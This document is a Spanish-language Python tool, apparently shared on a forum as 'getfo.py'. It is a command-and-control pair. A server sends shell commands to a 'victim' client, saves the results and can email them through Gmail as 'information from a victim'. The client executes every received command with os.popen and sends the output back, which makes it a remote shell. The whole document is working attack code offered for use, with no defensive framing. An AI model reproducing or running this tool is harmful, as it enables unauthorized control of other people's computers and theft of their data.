[Herramienta] getfo.py

import socket, os
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

#////////////////////////////////////////////////////////////////////////////////////////////////////////////#

class Get():
    '''
    Get() crea el servidor, y apartír de ahi espera una conexión entrante (la victima).
    Lo siguiente es enviar un comando, y esperar los datos de regreso.
    Despues, elegimos la opción de si guardarlo en la PC, o enviarlo via correo electrónico.
    '''
    def __init__(self):
        self.i = True

    def menu(self):
        os.system("cls")
        print("""
#================================#
# getfo.py
# One client, one victim.
#================================#
1) Start server.
2) Send info.
3) Exit.""")
        e = int(input(">> "))
        if e == 1: self.start()
        elif e == 2: self.for_mail()
        elif e == 3:
            self.i = False
            exit_cmd()

    def start(self):
        '''start() comienza la ejecución del servidor
        Imprime un mensaje de exito y procede a esperar una conexión entrante.
        '''

        self.socksv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socksv.bind(("127.0.0.1", 10232))
        self.socksv.listen(2)
        print("\n[+] Server now listening on 127.0.0.1:10232\n")
        self.sc, self.addr = self.socksv.accept()
        print("[+] %s is now online." % str(self.addr))
        self.send_cmd()

    def send_cmd(self):
        '''send_cmd(), sus funciones son:
                1) Enviar comandos y recibir los resultados
                2) Guardar los datos en un archivo de texto.

            En caso de elegir enviarlos por correo electrónico, se procede a ello pasando a la clase send_Results().
        '''

        cmd = str(input("Command? (""exit"" to close)>> "))
        if cmd == "exit":
            self.sc.close()
            self.socksv()
            exit_cmd()

        self.sc.send(cmd.encode("utf-8"))
        print("[!...] Awaiting....")
        resp = self.sc.recv(2048)
        if os.path.exists("data_info.txt"):
            with open("data_info.txt", "a") as f:
                f.write(str(resp.decode("utf-8") + "\n\n"))
        else:
            with open("data_info.txt", "w") as f:
                f.write(str(resp.decode("utf-8") + "\n\n"))
        print("[+] Data received and saved on 'data_info.txt'")
        a = str(input("\n[?] Want to send another command? (y/n) ")).lower()
        if a == "y": 
            self.send_cmd()
        elif a == "n":
            g = str(input("[?!] Do you want to send the info via email? (y/n): ")).lower()
            if g == "y":
                self.for_mail()
            elif g == "n":
                exit_cmd()

    def for_mail(self):
        if os.path.exists("data_info.txt"):
            my_e = str(input("\n[?] Your gmail account: "))
            passw = str(input("[?] Your password: "))
            if self.i == True:
                b = Email(my_e, passw)
                b.login()
            else:
                self.menu()
        else:
            print("[!] File: data_info.txt doesn't exist.\nPress any key to return to the main menu....")
            self.sc.close()
            self.socksv()
            self.menu()

#////////////////////////////////////////////////////////////////////////////////////////////////////////////#

class Email():
    ''' Email() es el encargado de enviar el fichero por Gmail.
    Son recibidas 2 variables: tu correo, y tu contraseña.
    Se inicia sesión, y se procede a definir el email que recibirá el fichero.
    '''

    def __init__(self, my_e, passw):
        self.gmail = smtplib.SMTP('smtp.gmail.com', 587)
        self.mail = my_e
        self.passw = passw
    
    def login(self):
        '''login() se encarga de hacer conexión al servidor de Gmail, e inicia sesión con nuestros datos.'''
        self.gmail.ehlo()
        self.gmail.starttls()
        try:
            self.gmail.login(self.mail, self.passw)
            self.send_message()
        except Exception as e:
            print("[-] Error: " + str(e) + "\n\nPress any key to return to exit....")
            input()
            exit_cmd()

    def send_message(self):
        '''send_message() se encarga de definir el destino del correo,
        y además adjunta el archivo con los datos recopilados.'''

        e_to = str(input("\n[?] To address: "))
        msg = MIMEMultipart('alternative')
        msg['Subject'] = 'Information for you'
        msg['From'] = self.mail
        body = 'I recopiled this information from a victim.'

        filename = "data_info.txt"
        r = open(filename)
        att = MIMEText(r.read())
        att.add_header("Content-Disposition", "attachment", filename = filename)
        msg.attach(att)

        content = MIMEText(body, 'plain')
        msg.attach(content)
        print("[!] Sending email to %s..." % e_to)
        try:
            self.gmail.sendmail(self.mail, e_to, msg.as_string())
        except Exception as e:
            print("[-] Error: " + str(e) + "\n\nPress any key to return to the main menu....")
            input()
            a = Get()
            a.menu()

        print("[+] Data sent successfully.")

#////////////////////////////////////////////////////////////////////////////////////////////////////////////#

def exit_cmd():
        '''El mensaje de adios'''
        print("\nExiting... ")
        copyright()

def copyright():
        '''Creditos'''
        print("(C) Barlan. | April 21, 2015\n")

if __name__ == "__main__":
    Get().menu()

import socket, os

class cCMD():
    def start(self):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            sock.connect(("127.0.0.1", 10232))
            print("[!+] Connection established!")
        except:
            print("[-] Can't establish a connection to server.")
            exit()
        while True:
            print("\n[...] Awaiting commands...")
            re = sock.recv(1024)
            if not re:
                print("\n[...] Exiting")
                exit()
            cmd = re.decode("utf-8")
            print("[!] Executing command...")
            text = os.popen(cmd)
            data = str(text.read())
            sock.send(data.encode("utf-8"))
            print("[+] Data sent succesfully.")

if __name__ == "__main__":
    cCMD().start()